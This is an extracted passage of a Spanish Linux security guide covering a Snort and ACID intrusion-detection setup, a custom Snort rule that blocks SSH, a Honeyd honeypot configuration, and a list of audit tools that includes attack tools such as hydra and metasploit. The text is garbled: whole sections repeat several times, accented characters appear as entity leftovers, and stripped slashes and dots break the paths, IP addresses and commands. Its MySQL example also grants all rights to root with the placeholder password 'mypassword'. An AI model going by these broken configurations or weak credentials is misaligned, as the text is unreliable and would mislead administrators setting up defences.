OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 38: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 39: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

